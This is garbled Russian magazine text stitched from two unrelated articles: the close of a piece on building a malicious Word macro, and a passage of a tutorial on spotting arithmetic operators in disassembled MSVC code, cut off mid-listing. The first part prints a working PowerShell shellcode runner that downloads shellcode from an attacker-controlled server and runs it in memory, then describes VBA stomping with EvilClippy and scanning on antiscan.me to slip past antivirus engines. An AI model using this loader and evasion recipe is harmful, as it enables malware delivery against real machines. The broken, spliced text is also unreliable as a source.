Сге нери рован ный шелл-код исполь зует заг ружен ные API Windows, что бы
выпол нить код в текущем про цес се PowerShell. Это и называ ется реф лекси ей,
в ходе нее фун кции соз дают ся и заг ружа ются в память. Есть при чина,
по которой нуж но дей ство вать имен но так, а не исполь зовать, нап ример, 

 из арсе нала PowerShell.
фун- 

кцию add-type
Де ло в том, что  соз дает вре мен ный файл и сох раня ет его на диск.

Такой файл — это арте факт, по которо му вирус ный ана литик может догадать- 
ся, что в сис теме про исхо дит что-то нехоро шее. Кро ме того, такой файл может
быть замечен и прос каниро ван анти вирус ными движ ками, ког да он уже сох- 
ранен на диск.

Add-Type

В ито ге соз данный Брен даном Орти зом скрипт при нял сле дующий вид:

 function LookUpFunction{
     Param ($moduleName, $functionName)
       

    
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-

Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].
Equals('System.dll')}).GetType('Microsoft.Win32.
UnsafeNativeMethods')
   $tmp=@()
   $assem.GetMethods() | ForEach-Object {If($_.Name -eq '

GetProcAddress') {$tmp += $_}}
   return $tmp[0].Invoke($null, @(($assem.GetMethod('

GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType{
   Param (
       [Parameter(Position = 0, Mandatory = $True)] [Type[]] 

$func,
       [Parameter(Position = 1)] [Type] $delType = [Void]
   )

    

   $type = [AppDOmain]::CurrentDomain.DefineDynamicAssembly((
New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[
System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule',$false).DefineType('
MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass',[
System.MulticastDelegate])

     $type.DefineConstructor('RTSpecialName, HideBySig, Public', [
System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime,Managed')

      $type.DefineMethod('Invoke','Public, HideBySig, NewSlot,
Virtual',$delType, $func).SetImplementationFlags('Runtime,Managed'
)
   return $type.CreateType()

}
[Byte[]] $buf = (new-object net.webclient).DownloadData('http://<
attacker controlled="" web="" server="">/<c2 generated="" 
shellcode="">.bin')

  
  

     
    

$lpmem = [System.Runtime.InteropServices.Marshal]::
GetDelegateForFunctionPointer((LookUpFunction Kernel32.dll
VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [
UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $buf.Length, 0x3000,
0x40)

   [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpmem,
$buf.Length)

  
  

     
   

 

$hThead = [System.Runtime.InteropServices.Marshal]::
GetDelegateForFunctionPointer((LookUpFunction Kernel32.dll
CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [
IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,
$lpmem,[IntPtr]::Zero,0, [IntPtr]::Zero)

  
    

 

[System.Runtime.InteropServices.Marshal]::
GetDelegateForFunctionPointer((LookUpFunction Kernel32.dll
WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int
]))).Invoke($hThead, 0xFFFFFFFF)</c2></attacker>

При исполне нии шелл-код выпол няет обратный вызов к сер веру C2, а затем
воз вра щает управле ние шелл-коду.

Скрипт отра ботал и вер нул управле ние

ÑÒÎÌÏÈÍÃ VBA

Ос тает ся пос ледний этап — стом пинг VBA. Это акт уда ления час тично сжа той
вер сии исходно го кода VBA, сох ранен ного в докумен те, — так, что оста ется
толь ко пред варитель но ском пилиро ван ный код. Ког да документ откры вают
на целевой машине в той же вер сии Word, для которой соз давал ся скрипт, код
VBA не ком пилиру ется заново — вмес то это го выпол няет ся сох ранен ный мак- 
рос VBA.

Та ким обра зом, если нам заб лагов ремен но извес тно, с какой вер сией VBA
будет выпол нять ся наш мак рос, мы можем уда лить из докумен та исходный код
и оста вить толь ко ском пилиро ван ный. Бла года ря это му радикаль но сужа ется
воз можность ана лиза кода и сни жает ся веро ятность его обна руже ния анти- 
виру сом.

Для такой работы осо бен но хорош , который даже поз- 
воля ет заменить нес компи лиро ван ный мак рос VBA без вред ной вер сией VBA-
кода. Таким обра зом, ты можешь заменить вре донос ный мак рос на код,
который пишет «Hello World!». Ког да документ будет открыт, выпол нится и вре- 
донос ный мак рос, если вер сия Office — имен но та, для которой он ком пилиро- 
вал ся. Все вышепе речис ленное EvilClippy может выпол нить при помощи
единс твен ной стро ки кода, выг лядящей при мер но так:

инс тру мент EvilClippy

.\EvilClippy.exe -s 'C:\OSEP\module6\6_8_1_PowerShell_ShellCode_
Runner\fake.vba' -d -r -g C:\OSEP\module6\6_8_1_PowerShell_
ShellCode_Runner\6_8_2_WMI_2_PS_final_template.doc 

В резуль тате выпол нения коман ды в пап ке с исходным фай лом соз дает ся
новый документ, к име ни которо го добав лена стро ка ._EvilClippy

Так работа ет EvilClippy

Об рати вни мание, нас коль ко два этих фай ла отли чают ся по раз меру. Теперь
оста ется толь ко заг рузить вре донос ный документ на  и пос мотреть,
сколь ко анти вирус ных движ ков рас позна ют его как вре донос ный. В дан ном
слу чае обя затель но поль зовать ся antiscan.me, а не VirusTotal, пос коль ку пер вый
из этих двух сай тов не переда ет вре донос ную наг рузку анти вирус ным ком- 
пани ям для ее добав ления в базы сиг натур.

antiscan.me

ÂÛÂÎÄÛ

А вот и резуль тат!

Уси лия воз награж дены. Угро зу обна ружи ли все го 5 из 26 анти вирус ных движ- 
ков, и авто ру скрип та уда лось усколь знуть от самых рас простра нен ных, таких
как Windows Defender, Sophos, Kaspersky и McAfee. С помощью при менен ных
им методов скрип ту уда лось отклю чить AMSI и выпол нить вре донос ный VBA-
скрипт на машине, защищен ной Windows Defender.

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-type?view=powershell-7.2&viewFallbackFrom=powershell-7.1
https://github.com/outflanknl/EvilClippy
http://antiscan.me/
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ВЗЛОМ

На пер вый взгляд кажет ся, что в рас позна вании ариф- 
метичес ких опе раций нет ничего слож ного. Одна ко даже
неоп тимизи рующие ком пилято ры исполь зуют ряд хит рых
при емов, которые прев раща ют нахож дение матема тичес- 
ких опе рато ров в голов ную боль. Давай изу чим теорию
и пот рениру емся на прак тике обна ружи вать матема тичес- 
кие опе рации в бинар ном коде прог рамм, под готов ленных
раз ными ком пилято рами.

Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

ÈÄÅÍÒÈÔÈÊÀÖÈß ÎÏÅÐÀÒÎÐÀ +
В общем слу чае опе ратор  тран сли рует ся либо в машин ную инс трук цию ,

«перема лыва ющую» целочис ленные опе ран ды, либо, с уче том наличия в про- 
цес соре под дер жки SSE (а без нее про цес соры уже дав ным-дав но не выпус- 
кают ся), в инс трук цию , обра баты вающую вещес твен ные зна чения оди- 

нар ной точ ности, и  — двой ной точ ности.

+ ADD

ADDSS
ADDSD

Оп тимизи рующие ком пилято ры могут заменять  более ком пак- 
тной коман дой , а конс трук цию  тран сли ровать

в машин ную инс трук цию . Такой трюк поз воля ет

одним махом скла дывать нес коль ко перемен ных, воз вра тив получен ную сум му
в любом регис тре обще го наз начения, — необя затель но в левом сла гаемом,
как это тре бует мне мони ка коман ды . Одна ко  не может быть непос- 

редс твен но деком пилиро вана в опе ратор +, пос коль ку она исполь зует ся
не толь ко для опти мизи рован ного сло жения (что, в общем-то, толь ко побоч- 
ный про дукт ее деятель нос ти), но и по сво ему пря мому наз начению —
для вычис ления эффектив ного сме щения.

ADD xxx, 1
INC xxx c = a + b + const

LEA c, [a + b + const]

ADD LEA

Рас смот рим при мер demo_plus, демонс три рующий исполь зование опе- 
рато ра + со зна чени ями оди нар ной точ ности:

#include <iostream>

 int main()
{
          float a = 0.7f, b = 1.4f, c;
       c = a + b;
       std::cout << c << std::endl;
       c = c + 0.3f;
       std::cout << c << std::endl;

}

Ре зуль тат выпол нения demo_plus

Преж ние вер сии ком пилято ров по умол чанию поз воляли исполь зовать неини- 
циали зиро ван ные перемен ные. Теперь же это не так, и ком пилятор обры вает
тран сля цию прог раммы, встре тив неини циали зиро ван ную перемен ную.
Это лиша ет его воз можнос ти заг ружать зна чение отку да угод но, тем самым
защищая прог раммис та от фаталь ных оши бок, которые могут про изой ти, если
он забудет прис воить зна чение объ явленной перемен ной.

Ре зуль тат тран сля ции это го при мера ком пилято ром Microsoft Visual C++
2022 с отклю чен ной опти миза цией дол жен выг лядеть приб лизитель но так:

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
   var_c          = dword ptr -18h
   var_a          = dword ptr -14h
   var_b          = dword ptr -10h

; Резервируем память для локальных переменных
                     sub rsp, 38h

; Загружаем в регистр XMM0 значение из сегмента данных только для 
чтения

                   movss xmm0, cs:__real@3f333333
; Перекладываем это значение из регистра в переменную var_a

                   movss [rsp+38h+var_a], xmm0
; Загружаем в регистр следующее по порядку значение

                   movss xmm0, cs:__real@3fb33333
; Перекладываем его в переменную var_b

                   movss [rsp+38h+var_b], xmm0
; Первое значение возвращаем в регистр XMM0 из переменной var_a

                   movss xmm0, [rsp+38h+var_a]
; Складываем содержимое XMM0 со значением переменной var_b

                   addss xmm0, [rsp+38h+var_b]
; Копируем сумму var_a и var_b в переменную var_c, следовательно, 
var_c = var_a + var_b

                   movss [rsp+38h+var_c], xmm0
; Готовим параметры для передачи оператору <<
; Второй слева — переменная var_c

                   movss xmm1, [rsp+38h+var_c]
; Первый слева — формат вывода

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout
; Собственно вызов оператора вывода строки

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(float)
; Плюс вывод символа новой строки

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))
; Загружаем в XMM0 значение переменной var_c...

                   movss xmm0, [rsp+38h+var_c]
; ...прибавляем к этому значению значение из сегмента данных 
только для чтения

                   addss xmm0, cs:__real@3e99999a
; Обновляем var_c: var_c = var_c + const

                   movss [rsp+38h+var_c], xmm0
; Готовим параметры для передачи оператору <<
; Второй слева — переменная var_c

                   movss xmm1, [rsp+38h+var_c]
; Первый слева — формат вывода

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout
; Собственно вызов оператора вывода строки

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(float)
; Плюс вывод символа новой строки

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))

                     xor eax, eax
                     add rsp, 38h

               retn
main            endp

А теперь пос мотрим, как будет выг лядеть тот же самый при мер, ском пилиро- 
ван ный с клю чом  (мак сималь ная опти миза ция):/Ox

 main            proc near               ; CODE XREF: 
__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
                     sub rsp, 28h

; Как ловко! Компилятор подсчитал сумму во время компиляции
; и подставил ее непосредственно для вывода
; С чего бы ему идти на такие хитрости без последствий?
; Значения-то представляют собой константы,
; которые хранятся в сегменте данных только для чтения

                   movss xmm1, cs:__real@40066666
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(float)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))
; Второе для вывода значение — с ним такая же история, как с 
первым значением

                   movss xmm1, cs:__real@40199999
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(float)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))

                     xor eax, eax
                     add rsp, 28h

               retn
main            endp

В опти мизи рован ном вари анте нет ни намека на сло жение или дру гие ариф- 
метичес кие опе рации! С воз веден ным фла гом  (мак сималь ная опти миза- 

ция по ско рос ти) ком пилятор соз дает точ но такой же код.

/O2

Embarcadero C++Builder генери рует похожий код, а в слу чае опти миза- 
ции — еще хуже. Поэто му при водить резуль таты его тру да бес смыс ленно —
никаких новых «изю минок» они в себе не несут.

Продолжение статьи →
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НАХОДИМ МАТЕМАТИЧЕСКИЕ ОПЕРАТОРЫ В
ДИЗАССЕМБЛИРОВАННЫХ ПРОГРАММАХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÄÅÍÒÈÔÈÊÀÖÈß ÎÏÅÐÀÒÎÐÀ –
В общем слу чае опе ратор – тран сли рует ся либо в машин ную инс трук цию 
(если опе ран ды — целочис ленные зна чения), либо в инс трук цию  (если

опе ран ды — вещес твен ные зна чения оди нар ной точ ности) или в  (ког да

опе ран ды двой ной точ ности). Опти мизи рующие ком пилято ры могут заменять
 более ком пак тной коман дой , а конс трук цию 

 тран сли ровать в , которая ничуть не ком пак тнее и нис- 

коль ко не быс трей (и та и дру гая укла дыва ется в один такт). Одна ко хозя ин
(ком пилятор) — барин.

SUB
SUBSS
SUBSD

SUB xxx, 1 DEC xxx SUB a, 
const ADD a, –const

По кажем это на при мере demo_minus, демонс три рующем исполь зование
опе рато ра – со зна чени ями двой ной точ ности:

#include <iostream>

 int main()
{
          double a = 3.1, b = 1.6, c;

       c = a - b;
       std::cout << c << std::endl;
       c = c - 10;
       std::cout << c << std::endl;

}

Ре зуль тат выпол нения demo_minus

Не опти мизи рован ный вари ант будет выг лядеть приб лизитель но так:

 main            proc near               ; CODE XREF: 
__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
   var_c          = qword ptr -28h
   var_a          = qword ptr -20h
   var_b          = qword ptr -18h

; Резервируем память для локальных переменных
                     sub rsp, 48h

; Загружаем в регистр XMM0 значение из сегмента данных только для 
чтения

                   movsd xmm0, cs:__real@4008cccccccccccd
; Перекладываем это значение из регистра в переменную var_a

                   movsd [rsp+48h+var_a], xmm0
; Загружаем в регистр, заменяя имеющееся там значение следующим 
по порядку значением

                   movsd xmm0, cs:__real@3ff999999999999a
; Перекладываем его в переменную var_b

                   movsd [rsp+48h+var_b], xmm0
; Из переменной var_a возвращаем значение в регистр XMM0

                   movsd xmm0, [rsp+48h+var_a]
; Вычитаем из var_a значение переменной var_b, записывая 
результат в XMM0

                   subsd xmm0, [rsp+48h+var_b]
; Записываем в var_c разность var_a и var_b:
; var_c = var_a — var_b

                   movsd [rsp+48h+var_c], xmm0
                   movsd xmm1, [rsp+48h+var_c]

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(double)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
    

  
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> & (*)(std::basic_ostream<char,std::char_traits<ch
ar>> &))
; Загружаем в регистр XMM0 значение переменной var_c — готовим к 
вычислению

                   movsd xmm0, [rsp+48h+var_c]
; Вычитаем из var_c значение, взятое из сегмента данных только 
для чтения
; При этом результат записываем в регистр XMM0

                   subsd xmm0, cs:__real@4024000000000000
; Обновляем содержимое переменной var_c:
; var_c = var_c — const

                   movsd [rsp+48h+var_c], xmm0
                   movsd xmm1, [rsp+48h+var_c]

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(double)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
    

  
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> & (*)(std::basic_ostream<char,std::char_traits<ch
ar>> &))

                     xor eax, eax
                     add rsp, 48h

               retn
main            endp

А теперь рас смот рим опти мизи рован ный вари ант того же при мера:

 main            proc near               ; CODE XREF: 
__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
                     sub rsp, 28h

; Компилятор подсчитал разность во время трансляции и подготовил 
ее значение для вывода

                   movsd xmm1, cs:__real@3ff8000000000000
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(double)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

  
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> & (*)(std::basic_ostream<char,std::char_traits<ch
ar>> &))
; Результат второй разности также подсчитан во время компиляции

                   movsd xmm1, cs:__real@c021000000000000
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(double)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

  
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> & (*)(std::basic_ostream<char,std::char_traits<ch
ar>> &))

                     xor eax, eax
                     add rsp, 28h

               retn
main            endp

Embarcadero C++Builder генери рует прак тичес ки иден тичный код без опти- 
миза ции и нам ного хуже с вклю чен ной опти миза цией, поэто му здесь он
не рас смат рива ется.

Продолжение статьи →



НАХОДИМ МАТЕМАТИЧЕСКИЕ ОПЕРАТОРЫ В
ДИЗАССЕМБЛИРОВАННЫХ ПРОГРАММАХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÄÅÍÒÈÔÈÊÀÖÈß ÎÏÅÐÀÒÎÐÀ /
В общем слу чае опе ратор  тран сли рует ся либо в машин ную инс трук цию 
(без зна ковое целочис ленное деление), либо в  (целочис ленное деление

со зна ком), либо в  (деление вещес твен ных зна чений оди нар ной точ- 

ности) или  (деление вещес твен ных зна чений двой ной точ ности).

/ DIV
IDIV

DIVSS
DIVSD

Ес ли делитель кра тен сте пени двой ки, то  заменя ется более быс тро- 

дей ству ющей инс трук цией битово го сдви га впра во , где  —

делимое,  — показа тель сте пени с осно вани ем два.

DIV
SHR a, N a

N
Нес коль ко слож нее про исхо дит быс трое деление зна ковых чисел. Недос- 

таточ но выпол нить ариф метичес кий сдвиг впра во (коман да ариф метичес кого
сдви га впра во  запол няет стар шие биты с уче том зна ка чис ла), ведь если

модуль делимо го мень ше модуля делите ля, то ариф метичес кий сдвиг впра во
сбро сит все зна чащие биты в «битовую кор зину», в резуль тате чего получит ся

, то есть , в то вре мя как пра виль ный ответ — ноль.

SAR

0xFFFFFFFF -1
Во обще же деление зна ковых чисел ариф метичес ким сдви гом впра во дает

округле ние в боль шую сто рону, что сов сем не вхо дит в наши пла ны.
Для округле ния зна ковых чисел в мень шую сто рону необ ходимо перед выпол- 
нени ем сдви га добавить к делимо му чис ло , где  — количес тво битов,
на которые сдви гает ся чис ло при делении. Лег ко видеть, что это при водит
к уве личе нию всех сдви гаемых битов на еди ницу и перено су в стар ший раз ряд,
если хотя бы один из них не равен нулю.

2N – 1 N

Сле дует отме тить: деление — очень мед ленная опе рация, гораз до более
мед ленная, чем умно жение (выпол нение  может занять свы ше 40 так тов,

в то вре мя как  обыч но укла дыва ется в 4), поэто му прод винутые опти мизи- 
рующие ком пилято ры заменя ют деление умно жени ем. Сущес тву ет мно жес тво
фор мул подоб ных пре обра зова ний. Вот, нап ример, одна из них — самая
популяр ная.

DIV
MUL

Здесь  — раз рядность чис ла. Выходит, грань меж ду умно жени ем и делени ем

очень тон кая, а их иден тифика ция доволь но слож ная. Рас смот рим при мер
demo_divide, в нем, кро ме все го про чего, мы уви дим выпол нение деления
с опе ран дами раз личных типов:

N

#include <iostream>

 int main()
{
       unsigned int a = 512;
               std::cout << a / 256 << " " << a / 64 << std::endl;
      int b = 256;
               std::cout << b / 32 << " " << b / 10 << std::endl;
      double d = 0x1024;
               std::cout << d / 512 << " " << d / 0x128 << std::endl;
      float f = 102.f;
               std::cout << f / 51.f << " " << f / 25.5f << std::endl;

}

Ре зуль тат выпол нения demo_divide

Ре зуль тат его ком пиляции ком пилято ром Microsoft Visual C++ 2022 с отклю- 
чен ной опти миза цией дол жен выг лядеть так:

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
   var_a          = dword ptr -38h
   var_b          = dword ptr -34h
   var_f          = dword ptr -30h
   var_2C          = dword ptr -2Ch
   var_28          = dword ptr -28h
   var_24          = dword ptr -24h

   var_d          = qword ptr -20h
   var_18          = qword ptr -18h

; Резервируем память для локальных переменных
                     sub rsp, 58h

; Присваиваем переменной var_a значение 0x200 (512 в десятичной 
системе)

                     mov [rsp+58h+var_a], 200h
; Обнуляем EDX

                     xor edx, edx
; В регистр EAX копируем значение переменной var_a

                     mov eax, [rsp+58h+var_a]
; Копируем в регистр ECX значение 0x40 (64 в десятичной системе)
; Отсюда становится ясно, что это подготовка делителя

                      mov ecx, 40h ; '@'
; Выполняем деление: EAX = EAX / ECX. Обрати внимание, что для 
деления используется инструкция DIV. Можно сделать вывод, что мы 
имеем дело с беззнаковыми целочисленными значениями

                    div ecx
; Частное копируем в переменную var_2C

                     mov [rsp+58h+var_2C], eax
                     xor edx, edx

; Очевидно, далее идет подготовка делимого и делителя
; Делимое: 512

                     mov eax, [rsp+58h+var_a]
; Делитель: 0x100 (256 в десятичной системе)

                     mov ecx, 100h
; Выполняем деление: EAX = EAX / ECX

                    div ecx
; Результат второго деления копируем в регистр EDX, тем самым 
готовим параметр перед вызовом оператора <<

                     mov edx, eax
; Выводим строку на экран

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout
; Первое слева число

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(uint)

                     lea rdx, _Val       ; " "
                     mov rcx, rax        ; _Ostr

; «Пробел» — на вывод
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov ecx, [rsp+58h+var_2C]
                     mov edx, ecx
                     mov rcx, rax

; Выводим частное от первого деления — второе слева число
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(uint)
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
                     mov rcx, rax

; ...символ перехода на новую строку
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))
; Переменную var_b инициализируем числом 0x100 (256 в десятичной 
системе счисления)

                     mov [rsp+58h+var_b], 100h
; Значение переменной var_b копируем в регистр EAX

                     mov eax, [rsp+58h+var_b]
; Расширяем EAX до четверного слова — EDX:EAX
               cdq

; Заносим в ECX значение 0xA (10 в десятичной системе)
                     mov ecx, 0Ah

; Осуществляем деление, учитывая знак: EDX:EAX на 0xA, занося 
частное в EAX
; EAX = var_b / 0xA
; Судя по инструкции IDIV, имеем дело с целочисленными значениями 
со знаком

                   idiv ecx
; Частное помещаем в переменную var_28

                     mov [rsp+58h+var_28], eax
; Готовимся выполнять второе в строке деление (второе справа):
; подготавливаем делимое

                     mov eax, [rsp+58h+var_b]
; расширяем EAX до четверного слова — EDX:EAX
               cdq

Ес ли в регис тре  было положи тель ное зна чение, в резуль тате выпол нения

инс трук ции  регистр  обну лит ся. Если же в  было отри цатель ное зна- 
чение, то  при мет мак сималь ное 32-бит ное зна чение  (или -1).

Тем самым  есть инди катор зна ка чис ла .

EAX
CDQ EDX EAX

EDX 0xFFFFFFFF
EDX EAX

Ес ли делитель пред став ляет собой сте пень двой ки, как в текущем слу чае,
то ком пилятор избавля ется от  для опти миза ции вычис лений,
как было ска зано ранее. Вто рым опе ран дом сле дующей далее инс трук ции 

выс тупа ет делитель — сте пень двой ки минус 1. Пос ле выпол нения 

над эти ми опе ран дами, если в  был , это никак не пов лияет на него.
Если же там был , то опе рация  при ведет к тому, что в 

будет находить ся делитель, что озна чает: в  — отри цатель ное чис ло.

DIV/IDIV
AND
AND

EDX 0x0
0xFFFFFFFF AND EDX

EAX
Дру гими сло вами, эта опе рация про водит ся для кор рек тно го сох ранения

зна ка чис ла. Как ты мог заметить, она зависит от зна чения сте пени двой ки
делите ля, имен но столь ко млад ших битов будет выделе но из . Количес тво

выделен ных битов вли яет на количес тво позиций для ариф метичес кого сдви га
в пос леду ющей опе рации. Одна ко при сутс твие отри цатель ных чисел не огра- 
ничи вает ся этой про вер кой, для инверти рова ния зна чения ком пилятор встав- 
ляет инс трук цию , где это необ ходимо.

EDX

NEG reg

                     and edx, 1Fh
; Складываем знак числа для округления отрицательных значений в 
меньшую сторону

                     add eax, edx

Ариф метичес кий сдвиг впра во на пять позиций (см. выше: пять выделен ных

битов) экви вален тен делению чис ла на 2  = 32.5

                 sar eax, 5

Та ким обра зом, пос ледние четыре инс трук ции рас шифро выва ются как  =

 / 32.

EAX
var_b

Об рати вни мание: даже при вык лючен ном режиме опти миза ции ком- 
пилятор опти мизи ровал деление. И хотя прог рамма здо рово рас пуха ет
от такой опти миза ции, этот код выпол няет ся нам ного быс трее, чем неоп- 
тимизи рован ный вари ант!

; Готовим результат деления для передачи оператору << в качестве 
параметра

                     mov edx, eax
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
; Выводим первое слева значение

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(int)

                      lea rdx, asc_140003304 ; " "
                     mov rcx, rax        ; _Ostr

; Выводим пробел
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov ecx, [rsp+58h+var_28]
                     mov edx, ecx
                     mov rcx, rax

; Выводим второе слева значение
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
                     mov rcx, rax

; Выводим символ начала новой строки
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))
; Из секции данных только для чтения копируем значение двойной 
точности в регистр XMM0

                   movsd xmm0, cs:__real@40b0240000000000
; Затем из регистра в переменную var_d типа double

                   movsd [rsp+58h+var_d], xmm0
                   movsd xmm0, [rsp+58h+var_d]

; Инструкция DIVSD говорит нам о делении вещественных значений 
двойной точности

                   divsd xmm0, cs:__real@4072800000000000
; Частное от первого деления сохраняем в локальной переменной 
var_18

                   movsd [rsp+58h+var_18], xmm0
; Подготавливаемся ко второму делению: рабочим регистром 
выступает XMM1, в него копируется значение переменной var_d...

                   movsd xmm1, [rsp+58h+var_d]
; ...а затем с его участием происходит деление посредством 
инструкции DIVSD

                   divsd xmm1, cs:__real@4080000000000000
; Регистр XMM1 выбран неспроста, он использует для передачи 
вещественного параметра оператору <<

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout
; Выводим первое слева вещественное число

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(double)

                      lea rdx, asc_140003308 ; " "
                     mov rcx, rax        ; _Ostr

; Выводим пробел
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                   movsd xmm0, [rsp+58h+var_18]
                  movaps xmm1, xmm0

                     mov rcx, rax
; Выводим второе слева вещественное число — частное первого 
деления

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(double)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
; Выводим std::endl

    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))
; Последняя пара операций деления
